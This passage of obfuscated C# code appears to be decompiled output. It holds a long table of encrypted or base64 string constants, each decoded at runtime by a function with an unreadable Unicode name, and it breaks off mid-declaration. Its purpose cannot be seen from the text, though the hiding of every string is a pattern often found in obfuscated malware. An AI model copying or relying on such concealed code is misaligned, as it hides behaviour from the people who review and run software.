public static string \u17C5ᙂ = "sYIzOIU11N2f9Z/OgUnr4ufc7nEHQZw1p3Rcl6cqi3WHjVf78c/I8w=="; - public static string \u17C4ᙂ = global::ᙵ.ᙵ(global::ᙵ.\u17C5ᙂ); - public static string \u17C7ᙂ = "HL3jmB7u2c3bg6Gal3eCm+iNhzoW/PZJ"; - public static string \u17C6ᙂ = global::ᙵ.ᙵ(global::ᙵ.\u17C7ᙂ); - public static string \u17C9ᙂ = "+NfPKFZhblq2iA5P7EBCIcyMC2wFfuMNuUIq+LndpA2szOpFok6ccCYZOyC7odEENjrc61HjQ54duBd8KDUsUQ=="; - public static string \u17C8ᙂ = global::ᙵ.ᙵ(global::ᙵ.\u17C9ᙂ); - public static string \u17CBᙂ = "JKEPxLQ9y+OrQmfK8UxLowfTTJdsseKhJnId5RSaa/M="; - public static string \u17CAᙂ = global::ᙵ.ᙵ(global::ᙵ.\u17CBᙂ); - public static string \u17CDᙂ = "sYIzOIU11N2f9Z/OgUnr4ufc7nEHQZw1p3Rcl6cqi3XV1g7DTlOBuA=="; - public static string \u17D8ᙂ = global::ᙵ.ᙵ(global::ᙵ.\u17CDᙂ); - public static string \u17CFᙂ = "w0xcEweUnYVJgeqAcYkzFSzDyvgNWaJcn/O3qbFzL04="; - public static string \u17CEᙂ = global::ᙵ.ᙵ(global::ᙵ.\u17CFᙂ); - public static string \u17D1ᙂ = "XbkTunWeCtf57MjGthl+bbpgShPTsZ896fCFCeWBLpgqGOVgAW3Znstrp8Ng5W6khcnAQX4OHCIeLNpscqtHTA=="; - public static string \u17FEᙂ = global::ᙵ.ᙵ(global::ᙵ.\u17D1ᙂ); - public static string \u17D3ᙂ = "yFpFZ80zv7GOBz6KQGgvhZAiAmLJakF0j/nokNsiHco="; - public static string \u17D2ᙂ = global::ᙵ.ᙵ(global::ᙵ.\u17D3ᙂ); - public static string \u17D5ᙂ = "dkyAz2sAzDJeFIbUcxN1Rdgwbu1dUluJu33pYoHHoaobh6PM1STKnDJBuwNaKwk+"; - public static string \u17D4ᙂ = global::ᙵ.ᙵ(global::ᙵ.\u17D5ᙂ); - public static string ៗᙂ = "4AJYAJeu/CYBVrbJaQm1kdD+d+rn0vUSMYR9PaHmHbM="; - public static string \u17D6ᙂ = global::ᙵ.ᙵ(global::ᙵ.ៗᙂ); - public static string \u17F3ᙂ = "sYIzOIU11N2f9Z/OgUnr4ufc7nEHQZw1p3Rcl6cqi3W6pim+Nnu2L3DNC/X+GSI/RQ47df/YUVg="; - public static string \u17C0ᙂ = global::ᙵ.ᙵ(global::ᙵ.\u17F3ᙂ); - public static string \u17DBᙂ = "sYIzOIU11N2f9Z/OgUnr4ufc7nEHQZw1p3Rcl6cqi3VDEDzMdZQEIQ=="; - public static string \u17DAᙂ = global::ᙵ.ᙵ(global::ᙵ.\u17DBᙂ); - public static string \u17DDᙂ = "jQo8Ch2emV2G3Ms4t+pGMmBn2+lR6K7i/KGaRs4H2SNhRB9xY9tzMA=="; - public static string \u17D9ᙂ = global::ᙵ.ᙵ(global::ᙵ.\u17DDᙂ); - public static string \u17DFᙂ = "sYIzOIU11N2f9Z/OgUnr4ufc7nEHQZw1p3Rcl6cqi3Vg6usFv2+jww=="; - public static string \u17DEᙂ = global::ᙵ.ᙵ(global::ᙵ.\u17DFᙂ); - public static string \u17E1ᙂ = "+K0BJIvrNA1KjxEyXlH1v7HKahCrD245f8giAIjW9a0KwAExYK+VgA=="; - public static string \u17E0ᙂ = global::ᙵ.ᙵ(global::ᙵ.\u17E1ᙂ); - public static string \u17E3ᙂ = "SSB2gh4gNoPgb/dITgt79RB/To+kN5NgbFmsh9F38uI/LU46uFN1HydTxOq+/seYwGy9fgGklVE="; - public static string \u17E2ᙂ = global::ᙵ.ᙵ(global::ᙵ.\u17E3ᙂ); - public static string \u17E5ᙂ = "J0hkSSM9BJW0BpMd297QFrOirvIXFPiQ25tWxGOS2NJSUTuRgdJI5dxuBXn9Dz+t"; - public static string \u17E4ᙂ = global::ᙵ.ᙵ(global::ᙵ.\u17E5ᙂ); - public static string \u17E7ᙂ = "sYIzOIU11N2f9Z/OgUnr4sStJGc6UUIKTxUK6P/F3Qn7jIwPxCVVKg=="; - public static string \u17E6ᙂ = global::ᙵ.ᙵ(global::ᙵ.\u17E7ᙂ); - public static string \u17E9ᙂ = "sYIzOIU11N2f9Z/OgUnr4hUtNiqj9htI0XpUP6ucQ85csMq7TVaw1BfgPFql3xCq51SayvmDVtcVIk9z+zDYiA=="; - public static string \u17E8ᙂ = global::ᙵ.ᙵ(global::ᙵ.\u17E9ᙂ); - public static string \u17EBᙂ = "sYIzOIU11N2f9Z/OgUnr4hUtNiqj9htI0XpUP6ucQ85csMq7TVaw1BfgPFql3xCqpInVy5EV78Q="; - public static string \u17EAᙂ = global::ᙵ.ᙵ(global::ᙵ.\u17EBᙂ); - public static string \u17EDᙂ = "TreA59hfOHglaBo/7Mxyug=="; - public static string \u17ECᙂ = global::ᙵ.ᙵ(global::ᙵ.\u17EDᙂ); - public static string \u17EFᙂ = "eKY6xDDP3uqdjEhlLCK/s/hOJneuq2rl"; - public static string \u17EEᙂ = global::ᙵ.ᙵ(global::ᙵ.\u17EFᙂ); - public static string \u17F1ᙂ = "G6T4Zr8m5fabN0rn+e37IQEkoiriTgDE"; - public static string \u17F0ᙂ = global::ᙵ.ᙵ(global::ᙵ.\u17F1ᙂ); - public static string ᠵᙂ = "R6jYSjAHhQC9jvojlDctaiK21m27yYRx"; - public static string \u17F2ᙂ = global::ᙵ.ᙵ(global::ᙵ.ᠵᙂ); - public static string \u1803ᙂ = "G6T4Zr8m5fbU97eKwlAu9PxKjoW1vN7Pl5CNgpsvNlQ="; - public static string \u1802ᙂ = global::ᙵ.ᙵ(global::ᙵ.\u1803ᙂ); - public static string \u1805ᙂ = "sYIzOIU11N2f9Z/OgUnr4ufc7nEHQZw1p3Rcl6cqi3U8+e9xJoYgEhEcHOvjdsraM/VLMiRl4sI="; - public static string \u1804ᙂ = global::ᙵ.ᙵ(global::ᙵ.\u1805ᙂ); - public static string \u1807ᙂ = "sYIzOIU11N2f9Z/OgUnr4ufc7nEHQZw1p3Rcl6cqi3X0jWaujAwt/g=="; - public static string \u1806ᙂ = global::ᙵ.ᙵ(global::ᙵ.\u1807ᙂ); - public static string \u1809ᙂ = "dYux1fRpTAdMtVm5EKtK3hEQ/wVJGKpVqID8xiVQ4B914oHfoaDWE0UAF+q6yqsolVZqVH4YAjA="; - public static string \u1808ᙂ = global::ᙵ.ᙵ(global::ᙵ.\u1809ᙂ); - public static string \u180Bᙂ = "hCtQtFivnX0E37YNvRsDDpBS6jyuWdnHDfxQY2BnyzI="; - public static string \u180Aᙂ = global::ᙵ.ᙵ(global::ᙵ.\u180Bᙂ); - public static string \u180Dᙂ = "hCtQtFivnX0E37YNvRsDDpBS6jyuWdnHDfxQY2BnyzI="; - public static string \u1818ᙂ = global::ᙵ.ᙵ(global::ᙵ.\u180Dᙂ); - public static string \u180Fᙂ = "SZfmGce7Lzrc2NzW0n2KcW8oa2fgdBmI"; - public static string \u180Eᙂ = global::ᙵ.ᙵ(global::ᙵ.\u180Fᙂ); - public static string \u1811ᙂ = "ckKHiCypmfCeLcubNNnp3VLa9q0INscliqmI2f/xU7gUe5QOIwXvbw=="; - public static string ᠾᙂ = global::ᙵ.ᙵ(global::ᙵ.\u1811ᙂ); - public static string \u1813ᙂ = "WrDEDJGzGlGaK9s3tGYBWHetOIIGjQW9"; - public static string \u1812ᙂ = global::ᙵ.ᙵ(global::ᙵ.\u1813ᙂ); - public static string \u1815ᙂ = "sWncC1KBIf3AqfhZScIRGFrcRkI8TcYuw5ihm0ZsTDt0V9JkxIalWPiffvnu1WtpoIQ7fITQQYM="; - public static string \u1814ᙂ = global::ᙵ.ᙵ(global::ᙵ.\u1815ᙂ); - public static string \u1817ᙂ = "bLssF+Bu87UpNmsQkAfbLLd5Wg5eXMxg"; - public static string \u1816ᙂ = global::ᙵ.ᙵ(global::ᙵ.\u1817ᙂ); - public static string ᠳᙂ = "sdC/lMS6O2sBzN12c2uAQU+YGcBXSe1G1H7GxSDHdk9ax3/3NfaHpg=="; - public static string \u1800ᙂ = global::ᙵ.ᙵ(global::ᙵ.ᠳᙂ); - public static string \u181Bᙂ = "4cCbwB3qcwDiMiYqBxcyti+ze62F3eKAembSi/7H9IU="; - public static string \u181Aᙂ = global::ᙵ.ᙵ(global::ᙵ.\u181Bᙂ); - public static string \u181Dᙂ = "Xg1lG61UKdPontjYSPLEKg=="; - public static string \u1819ᙂ = global::ᙵ.ᙵ(global::ᙵ.\u181Dᙂ); - public static string \u181Fᙂ = "O/4euJDuUN2cDQ45CnpKfe0O6H4OknesVLsz+hrtilIPdqytMRiDGWHtwvePQWLd"; - public static string \u181Eᙂ = global::ᙵ.ᙵ(global::ᙵ.\u181Fᙂ); - public static string ᠡᙂ = "KSddDkJIxM2KSGfcxjDVYew+xG17SXOC"; - public static string ᠠᙂ = global::ᙵ.ᙵ(global::ᙵ.ᠡᙂ); - public static string ᠣᙂ = "SSB2gh4gNoPgb/dITgt79ZR4M3pxyhDeArfSLGPYa9GiwJYw5gBxEA=="; - public static string ᠢᙂ = global::ᙵ.ᙵ(global::ᙵ.ᠣᙂ); - public static string ᠥᙂ = "1N/Br/Q8FIfnhjzey7GtHXbmz92Mmx/5"; - public static string ᠤᙂ = global::ᙵ.ᙵ(global::ᙵ.ᠥᙂ); - public static string ᠧᙂ = "DDLesE8MrRna5Y1E+b2yqA=="; - public static string ᠦᙂ = global::ᙵ.ᙵ(global::ᙵ.ᠧᙂ); - public static string ᠩᙂ = "8i8IXzpk0EUazvBpZwXe0hUeoRevG0Ws/m72Kjvh9MY="; - public static string ᠨᙂ = global::ᙵ.ᙵ(global::ᙵ.ᠩᙂ); - public static string ᠫᙂ = "eZpVHT2U2AFiaviZx+45ct5ZH9iqvqFdxUyS+ZxL0GCUgwnZbu1kUc5oUDhFiDh1TyhqJ3BdTdkXQZ4D8v+NeYjqPGzNgfyJ3pQgp+I+ddML+l5X2sKHHYw3EOb08aiX"; - public static string ᠪᙂ = global::ᙵ.ᙵ(global::ᙵ.ᠫᙂ); - public static string ᠭᙂ = "7pzLYtsRwXWNfhAXF4E77PvzU0L9P6ro2p6DJiSkmQNJLI/7IjfoAg=="; - public static string ᠬᙂ = global::ᙵ.ᙵ(global::ᙵ.ᠭᙂ); - public static string ᠯᙂ = "IfEsf1DzCY0="; - public static string ᠮᙂ = global::ᙵ.ᙵ(global::ᙵ.ᠯᙂ); - public static string ᠱᙂ = "jPWGUy5ytkk="; - public static string ᠰᙂ = global::ᙵ.ᙵ(global::ᙵ.ᠱᙂ); - public static string ᡵᙂ = "2h67/mWc+tA="; - public static string ᠲᙂ = global::ᙵ.ᙵ(global::ᙵ.ᡵᙂ); - public static string ᡃᙂ = "W2uvX70varI="; - public static string ᡂᙂ = global::ᙵ.ᙵ(global::ᙵ.ᡃᙂ); - public static string ᡅᙂ = "N0KW1AxyRdPQlbXOn8ki6LQI/lmMlJEfdOKwXUEG0E8="; - public static string ᡄᙂ = global::ᙵ.ᙵ(global::ᙵ.ᡅᙂ); - public static string ᡇᙂ = "eZpVHT2U2AFiaviZx+45ct5ZH9iqvqFdxUyS+ZxL0GCUgwnZbu1kUc5oUDhFiDh1TyhqJ3BdTdmH6JO1Q6bdR8wOwuoMB3AqM9+wJr4LDdxdLkE87YZt2xbuFd/uyGFJ"; - public static string ᡆᙂ = global::ᙵ.ᙵ(global::ᙵ.ᡇᙂ); - public static string ᡉᙂ = "7pzLYtsRwXWNfhAXF4E77PvzU0L9P6ro2p6DJiSkmQNJLI/7IjfoAg=="; - public static string ᡈᙂ = global::ᙵ.ᙵ(global::ᙵ.ᡉᙂ); - public static string ᡋᙂ = "N0KW1AxyRdPQlbXOn8ki6LQI/lmMlJEfdOKwXUEG0E8="; - public static string ᡊᙂ = global::ᙵ.ᙵ(global::ᙵ.ᡋᙂ); - public static string ᡍᙂ = "8i8IXzpk0EUazvBpZwXe0hUeoRevG0Ws/m72Kjvh9MY="; - public static string ᡘᙂ = global::ᙵ.ᙵ(global::ᙵ.ᡍᙂ); - public static string ᡏᙂ = "0BHddZBSyEgSs/KjzWDrQrtvhoNh7+E8N7onk+bDpc2i1gBRTUz/uUh1LRPgp9lm"; - public static string ᡎᙂ = global::ᙵ.ᙵ(global::ᙵ.ᡏᙂ); - public static string ᡑᙂ = "NAqy0jQuCsM="; - public static string \u187Eᙂ = global::ᙵ.ᙵ(global::ᙵ.ᡑᙂ); - public static string ᡓᙂ = "nKxOC8BUWpTZFx/uU0BuahJhOIu9ChnJ"; - public static string ᡒᙂ = global::ᙵ.ᙵ(global::ᙵ.ᡓᙂ); - public static string ᡕᙂ = "NAqy0jQuCsM="; - public static string ᡔᙂ = global::ᙵ.ᙵ(global::ᙵ.ᡕᙂ); - public static string ᡗᙂ = "y4uakXZ0NpmdMf3dU95wtpd6xqNVlXqWsbOkJOw5Suw="; - public static string ᡖᙂ = global::ᙵ.ᙵ(global::ᙵ.ᡗᙂ); - public static string ᡳᙂ = "y4uakXZ0NpmdMf3dU95wtun0S9YiMPtZ"; - public static string ᡀᙂ = global::ᙵ.ᙵ(global::ᙵ.ᡳᙂ); - public static string ᡛᙂ = "/szZB2cXodFh4xCAWc7Q0Q=="; - public static string ᡚᙂ = global::ᙵ.ᙵ(global::ᙵ.ᡛᙂ); - public static string ᡝᙂ = "nKxOC8BUWpQCsXo7q7/6oA=="; - public static string ᡙᙂ = global::ᙵ.ᙵ(global::ᙵ.ᡝᙂ); - public static string ᡟᙂ = "VG7tiqCsedihkcrWcImf3g=="; - public static string ᡞᙂ = global::ᙵ.ᙵ(global::ᙵ.ᡟᙂ); - public static string ᡡᙂ = "y4uakXZ0NpmdMf3dU95wtun0S9YiMPtZ"; - public static string ᡠᙂ = global::ᙵ.ᙵ(global::ᙵ.ᡡᙂ); - public static string ᡣᙂ = "QliDcw18a+FqDB8gBnet/+RPNMQvmh+Ol3e2HNRGEZ549jPKreP8U86V7HZ/WUpT2NhIdYhmY/A="; - public static string ᡢᙂ = global::ᙵ.ᙵ(global::ᙵ.ᡣᙂ); - public static string ᡥᙂ = "QliDcw18a+GO/Gw6g82ItQ=="; - public static string ᡤᙂ = global::ᙵ.ᙵ(global::ᙵ.ᡥᙂ); - public static string ᡧᙂ = "NQemTd2rbZ8eOEnpgc9xgMZv9+WaWvRP"; - public static string ᡦᙂ = global::ᙵ.ᙵ(global::ᙵ.ᡧᙂ); - public static string ᡩᙂ = "nKxOC8BUWpQCsXo7q7/6oA=="; - public static string ᡨᙂ = global::ᙵ.ᙵ(global::ᙵ.ᡩᙂ); - public static string ᡫᙂ = "QliDcw18a+GO/Gw6g82ItQ=="; - public static string ᡪᙂ = global::ᙵ.ᙵ(global::ᙵ.ᡫᙂ); - public static string ᡭᙂ = "QliDcw18a+FqDB8gBnet/+RPNMQvmh+Oa4aC5Cb2k0w="; - public static string ᡬᙂ = global::ᙵ.ᙵ(global::ᙵ.ᡭᙂ); - public static string ᡯᙂ = "QliDcw18a+EeNSWpD5LyOttBO045eIrgzyzDYXCD2to="; - public static string ᡮᙂ = global::ᙵ.ᙵ(global::ᙵ.ᡯᙂ); - public static string ᡱᙂ = "NQemTd2rbZ8eOEnpgc9xgMZv9+WaWvRP"; - public static string ᡰᙂ = global::ᙵ.ᙵ(global::ᙵ.ᡱᙂ); - public static string ᢵᙂ = "nKxOC8BUWpQCsXo7q7/6oA=="; - public static string ᡲᙂ = global::ᙵ.ᙵ(global::ᙵ.ᢵᙂ); - public static string ᢃᙂ = "QliDcw18a+EeNSWpD5LyOttBO045eIrgzyzDYXCD2to="; - public static string ᢂᙂ = global::ᙵ.ᙵ(global::ᙵ.ᢃᙂ); - public static string ᢅᙂ = "NQemTd2rbZ8ETPEsunrrUqgeh2qvS+MDdRKNY2F8idc="; - public static string ᢄᙂ = global::ᙵ.ᙵ(global::ᙵ.ᢅᙂ); - public static string ᢇᙂ = "HFzgIQFAWOOpcjH6k/0SHg=="; - public static string ᢆᙂ = global::ᙵ.ᙵ(global::ᙵ.ᢇᙂ); - public static string ᢉᙂ = "DM+rPSAP3iPqXK0uPmxHSg=="; - public static string ᢈᙂ = global::ᙵ.ᙵ(global::ᙵ.ᢉᙂ); - public static string ᢋᙂ = "nKxOC8BUWpQCsXo7q7/6oA=="; - public static string ᢊᙂ = global::ᙵ.ᙵ(global::ᙵ.ᢋᙂ); - public static string ᢍᙂ = "HFzgIQFAWOOpcjH6k/0SHg=="; - public static string ᢘᙂ = global::ᙵ.ᙵ(global::ᙵ.ᢍᙂ); - public static string ᢏᙂ = "0lg+LL5xKBbEAyJRQ0DEK7xzZsyva9EGRpX+oqWYxgU2MltVOmM2LQ=="; - public static string ᢎᙂ = global::ᙵ.ᙵ(global::ᙵ.ᢏᙂ); - public static string ᢑᙂ = "0lg+LL5xKBZ5leXviOQ5zw=="; - public static string ᢾᙂ = global::ᙵ.ᙵ(global::ᙵ.ᢑᙂ); - public static string ᢓᙂ = "XLPsfKmVole/CHnz7SVn2A=="; - public static string ᢒᙂ = global::ᙵ.ᙵ(global::ᙵ.ᢓᙂ); - public static string ᢕᙂ = "0lg+LL5xKBZ5leXviOQ5zw=="; - public static string ᢔᙂ = global::ᙵ.ᙵ(global::ᙵ.ᢕᙂ); - public static string ᢗᙂ = "1AeeWy2hKtiODuiAt5XV3IaOJu70HzExp+7P4zdBrF8="; - public static string ᢖᙂ = global::ᙵ.ᙵ(global::ᙵ.ᢗᙂ); - public static string ᢳᙂ = "1AeeWy2hKtjZrPqYiinEkg=="; - public static string ᢀᙂ = global::ᙵ.ᙵ(global::ᙵ.ᢳᙂ); - public static string ᢛᙂ = "/szZB2cXodFh4xCAWc7Q0Q=="; - public static string ᢚᙂ = global::ᙵ.ᙵ(global::ᙵ.ᢛᙂ); - public static string ᢝᙂ = "nKxOC8BUWpQCsXo7q7/6oA=="; - public static string ᢙᙂ = global::ᙵ.ᙵ(global::ᙵ.ᢝᙂ); - public static string ᢟᙂ = "VG7tiqCsedihkcrWcImf3g=="; - public static string ᢞᙂ = global::ᙵ.ᙵ(global::ᙵ.ᢟᙂ); - public static string ᢡᙂ = "1AeeWy2hKtjZrPqYiinEkg=="; - public static string ᢠᙂ = global::ᙵ.ᙵ(global::ᙵ.ᢡᙂ); - public static string ᢣᙂ = "NAqy0jQuCsM="; - public static string ᢢᙂ = global::ᙵ.ᙵ(global::ᙵ.ᢣᙂ); - public static string ᢥᙂ = "y4uakXZ0NpmdMf3dU95wtun0S9YiMPtZ"; - public static string ᢤᙂ = global::ᙵ.ᙵ(global::ᙵ.ᢥᙂ); - public static string ᢧᙂ = "QliDcw18a+GO/Gw6g82ItQ=="; - public static string ᢦᙂ = global::ᙵ.ᙵ(global::ᙵ.ᢧᙂ); - public static string \u18A9ᙂ = "QliDcw18a+EeNSWpD5LyOttBO045eIrgzyzDYXCD2to="; - public static string ᢨᙂ = global::ᙵ.ᙵ(global::ᙵ.\u18A9ᙂ); - public static string \u18ABᙂ = "HFzgIQFAWOOpcjH6k/0SHg=="; - public static string ᢪᙂ = global::ᙵ.ᙵ(global::ᙵ.\u18ABᙂ); - public static string \u18ADᙂ = "0lg+LL5xKBZ5leXviOQ5zw=="; - public static string \u18ACᙂ = global::ᙵ.ᙵ(global::ᙵ.\u18ADᙂ); - public static string \u18AFᙂ = "1AeeWy2hKtjZrPqYiinEkg=="; - public static string \u18AEᙂ = global::ᙵ.ᙵ(global::ᙵ.\u18AFᙂ); - public static string ᢱᙂ = "9ug5ulztRSehdQub2hn1Qg=="; - public static string ᢰᙂ = global::ᙵ.ᙵ(global::ᙵ.ᢱᙂ); - public static string ᣵᙂ = "Wt3GyZX1jYiys+tDPvHYHw=="; - public static string ᢲᙂ = global::ᙵ.ᙵ(global::ᙵ.ᣵᙂ); - public static string ᣃᙂ = "CaGXuJ14YVGPrIhX4bDYXQ=="; - public static string ᣂᙂ = global::ᙵ.ᙵ(global::ᙵ.ᣃᙂ); - public static string ᣅᙂ = "4hrJQXUt8K+npiPqUP/D9Q=="; - public static string ᣄᙂ = global::ᙵ.ᙵ(global::ᙵ.ᣅᙂ); - public static string ᣇᙂ = "CaGXuJ14YVHwfK8Rudnv+hPk4U/39x1x7mmGt/2QIsc="; - public static string ᣆᙂ = global::ᙵ.ᙵ(global::ᙵ.ᣇᙂ); - public static string ᣉᙂ = "4hrJQXUt8K/7hM7+hJdTuJ05U73K6JQd53icdQBFH/tpJGZVHR78lA=="; - public static string ᣈᙂ = global::ᙵ.ᙵ(global::ᙵ.ᣉᙂ); - public static string ᣋᙂ = "CaGXuJ14YVHgxF8JEhbgKpuem8/cIfQq"; - public static string ᣊᙂ = global::ᙵ.ᙵ(global::ᙵ.ᣋᙂ); - public static string ᣍᙂ = "4hrJQXUt8K/7hM7+hJdTuIUo7ce2oVcFMtrcrYMXcgU="; - public static string ᣘᙂ = global::ᙵ.ᙵ(global::ᙵ.ᣍᙂ); - public static string ᣏᙂ = "Gxuo3gy56i4B3kbqBi3N2uBn4JgWjTDf"; - public static string ᣎᙂ = global::ᙵ.ᙵ(global::ᙵ.ᣏᙂ); - public static string ᣑᙂ = "4hrJQXUt8K86VZO1G4Zbmw=="; - public static string \u18FEᙂ = global::ᙵ.ᙵ(global::ᙵ.ᣑᙂ); - public static string ᣓᙂ = "U6muKcdGQxHRXprq33Z32g=="; - public static string ᣒᙂ = global::ᙵ.ᙵ(global::ᙵ.ᣓᙂ); - public static string ᣕᙂ = "+K0BJIvrNA0K0BHcLY1fvQ=="; - public static string ᣔᙂ = global::ᙵ.ᙵ(global::ᙵ.ᣕᙂ); - public static string ᣗᙂ = "/szZB2cXodFh4xCAWc7Q0Q=="; - public static string ᣖᙂ = global::ᙵ.ᙵ(global::ᙵ.ᣗᙂ); - public static string ᣳᙂ = "JiYMoFwGfZH9r3Up0Tf0Qw=="; - public static string ᣀᙂ = global::ᙵ.ᙵ(global::ᙵ.ᣳᙂ); - public static string ᣛᙂ = "NQemTd2rbZ+SrDeoQtHzmdrKDOTFCsXWK1ly2Y/y6fY="; - public static string ᣚᙂ = global::ᙵ.ᙵ(global::ᙵ.ᣛᙂ); - public static string ᣝᙂ = "4hrJQXUt8K/7hM7+hJdTuOM27FIX3zIu"; - public static string ᣙᙂ = global::ᙵ.ᙵ(global::ᙵ.ᣝᙂ); - public static string ᣟᙂ = "+obegK9RW+H95SrTWWWj0rEDmmhR0BMY"; - public static string ᣞᙂ = global::ᙵ.ᙵ(global::ᙵ.ᣟᙂ); - public static string ᣡᙂ = "bnxWDKWxy+1kSYpPDVUhwA=="; - public static string ᣠᙂ = global::ᙵ.ᙵ(global::ᙵ.ᣡᙂ); - public static string ᣣᙂ = "bnxWDKWxy+2aZ8IZwgGjcQ=="; - public static string ᣢᙂ = global::ᙵ.ᙵ(global::ᙵ.ᣣᙂ); - public static string ᣥᙂ = "s7FZoxvEQhqzK+KPhFuVzODezrOGVjb3"; - public static string ᣤᙂ = global::ᙵ.ᙵ(global::ᙵ.ᣥᙂ); - public static string ᣧᙂ = "UnTPnG233sABC1zQQ+g36+N/ZJOi/I7C"; - public static string ᣦᙂ = global::ᙵ.ᙵ(global::ᙵ.ᣧᙂ); - public static string ᣩᙂ = "Smb5Rti94lB9VZHIsQiTXmh26leF+tsC8KbYp8f+7sMuIGYl79wVYA=="; - public static string ᣨᙂ = global::ᙵ.ᙵ(global::ᙵ.ᣩᙂ); - public static string ᣫᙂ = "Smb5Rti94lB9VZHIsQiTXmh26leF+tsC8KbYp8f+7sMuIGYl79wVYA=="; - public static string ᣪᙂ = global::ᙵ.ᙵ(global::ᙵ.ᣫᙂ); - public static string ᣭᙂ = "bnxWDKWxy+3k6mdU/q+vaLSqaBbCKBFbdTr18Q82FgftOKXEQwjRjdIe0KXu4bb39YdKEF1E/g9Wu3jZnaa8yTTVbFkrU/wdFBYhjCnvRoy+qkcFlt6d1Wurio8JQexl1t0d7eb0a3Q="; - public static string ᣬᙂ = global::ᙵ.ᙵ(global::ᙵ.ᣭᙂ); - public static string ᣯᙂ = "JlCE03ee5LV0sjjyc+6E4Npg1sQPF6m/fxCrtkYEk8Q="; - public static string ᣮᙂ = global::ᙵ.ᙵ(global::ᙵ.ᣯᙂ); - public static string ᣱᙂ = "slxuY9cNAwxfSOQLLOG2CzOmj+XSbs6+jIfPjRq2gKI="; - public static string ᣰᙂ = global::ᙵ.ᙵ(global::ᙵ.ᣱᙂ); - public static string \u1935ᙂ = "slxuY9cNAwxfSOQLLOG2CzOmj+XSbs6+jIfPjRq2gKI="; - public static string ᣲᙂ = global::ᙵ.ᙵ(global::ᙵ.\u1935ᙂ); - public static string ᤃᙂ = "YokNOxxtSCQSKzQMLuC2wg=="; - public static string ᤂᙂ = global::ᙵ.ᙵ(global::ᙵ.ᤃᙂ); - public static string ᤅᙂ = "h0BTRlZ1wiAui5Vd7MpbEQ=="; - public static string ᤄᙂ = global::ᙵ.ᙵ(global::ᙵ.ᤅᙂ); - public static string ᤇᙂ = "slxuY9cNAwxfSOQLLOG2CzOmj+XSbs6+jIfPjRq2gKI="; - public static string ᤆᙂ = global::ᙵ.ᙵ(global::ᙵ.ᤇᙂ); - public static string ᤉᙂ = "slxuY9cNAwxfSOQLLOG2CzOmj+XSbs6+jIfPjRq2gKI="; - public static string ᤈᙂ = global::ᙵ.ᙵ(global::ᙵ.ᤉᙂ); - public static string ᤋᙂ = "J1BySGwJ4M3T8jnwtiiDeA=="; - public static string ᤊᙂ = global::ᙵ.ᙵ(global::ᙵ.ᤋᙂ); - public static string ᤍᙂ = "y37gy0C7+AAGbBJsWBhladpbcYsCTgVV3IMrl9u+wvv3PN0pE4/MdfDU3k7fSamLzwc2syHFE1bvtounTjcD1A=="; - public static string ᤘᙂ = global::ᙵ.ᙵ(global::ᙵ.ᤍᙂ); - public static string ᤏᙂ = "FLZEFfgu6wJ0kapVbnNX5A=="; - public static string ᤎᙂ = global::ᙵ.ᙵ(global::ᙵ.ᤏᙂ); - public static string ᤑᙂ = "h0BTRlZ1wiAui5Vd7MpbEQ=="; - public static string \u193Eᙂ = global::ᙵ.ᙵ(global::ᙵ.ᤑᙂ); - public static string ᤓᙂ = "YokNOxxtSCQSKzQMLuC2wg=="; - public static string ᤒᙂ = global::ᙵ.ᙵ(global::ᙵ.ᤓᙂ); - public static string ᤕᙂ = "O2TzUXdIRtF4m7vrtXQTgUc0NnP/r5I7RHa+jP9u3jFOa9+dvQVnnZxtaTptoHGM"; - public static string ᤔᙂ = global::ᙵ.ᙵ(global::ᙵ.ᤕᙂ); - public static string ᤗᙂ = "5xGAKMe/RoI="; - public static string ᤖᙂ = global::ᙵ.ᙵ(global::ᙵ.ᤗᙂ); - public static string \u1933ᙂ = "gZyKCq/9T2gDCK57tZS+qjpdub9CWFtB9KUPNe9xcjR1HqGFDeHhNNIxH+ibhRjvpr888UCmNwMZR3U282A2ZTVkLPckrbfV0ri89px669OnaNoiRpqkQkH8wabp84ktSkZIncU9l2eLdsLf22S+es10R4B9W0orhSEp8f0EvwQl/vEX39civKoFgxRKCfebcjbcgM+x1zzS8WMxCudr1OMuiQganjK//0B6HiNTrNLOdlyDzPTCbqWXInPv0PcUBDf4zy/K/sDBoWA8u08MfYF40aQpoiZiDlYMoOJif8bl550mGhqq1E+r3NZ8fgd4oVmism4lvdQFZc+cLV2CQiPmUqsDYPUYoXcBxXWE179HSqBjkKhMuYYlk8deWVNNxrJMUkcSR0dwGTk/mKOTYR29iia0TVGoOyP2tvZBzZ9QoKuGALp6JrC0WjaxIvPD"; - public static string ᤀᙂ = global::ᙵ.ᙵ(global::ᙵ.\u1933ᙂ); - public static string ᤛᙂ = "+pyuC8KQjX3KMrmaVG+dLBrP96RluPX2vOMZobsFDeqeIZ8PogZcY/hXJeReLZ92"; - public static string ᤚᙂ = global::ᙵ.ᙵ(global::ᙵ.ᤛᙂ); - public static string ᤝᙂ = "gZyKCq/9T2gDCK57tZS+qjpdub9CWFtB9KUPNe9xcjR1HqGFDeHhNNIxH+ibhRjvSdOMqmWQ6wm0NoBsOQoYaCOStrbWIr5u4oC7GI8eNRGLUU9aEFiQbNOF95Hv561NM7k/Xp5eZGadE10+ENCPtEW4Ri2VvKoSgk2wCLf+NEufFjwJGdINd1+fKJA1urOu9OsJqF+03dJyPX/tzL3Egd9K21Ctm6TqtecVNv7RIM/5aEx0Uur77IXJ0c9ipS8Up5aq6ScV5jB1huKwUgPoGRObiFIATMd5Nnac1RtSgTTMs16iJca3NdnKOQO7TjFmDvYt6VtPQUGOHXrTRM6W5P5LSpJQ99UuEwLlnshstgM="; - public static string ᤙᙂ = global::ᙵ.ᙵ(global::ᙵ.ᤝᙂ); - public static string \u191Fᙂ = "+pyuC8KQjX3KMrmaVG+dLBrP96RluPX2vOMZobsFDeqeIZ8PogZcY/hXJeReLZ92"; - public static string ᤞᙂ = global::ᙵ.ᙵ(global::ᙵ.\u191Fᙂ); - public static string \u1921ᙂ = "1jqVxTV+J7+hsiOBwQObibFrYS+cFfw444Bz1OUu2CXFprK0BX3xkbz9IBeK0o7BUvJQlIKqDrf5GmV5My3AUg=="; - public static string \u1920ᙂ = global::ᙵ.ᙵ(global::ᙵ.\u1921ᙂ); - public static string \u1923ᙂ = 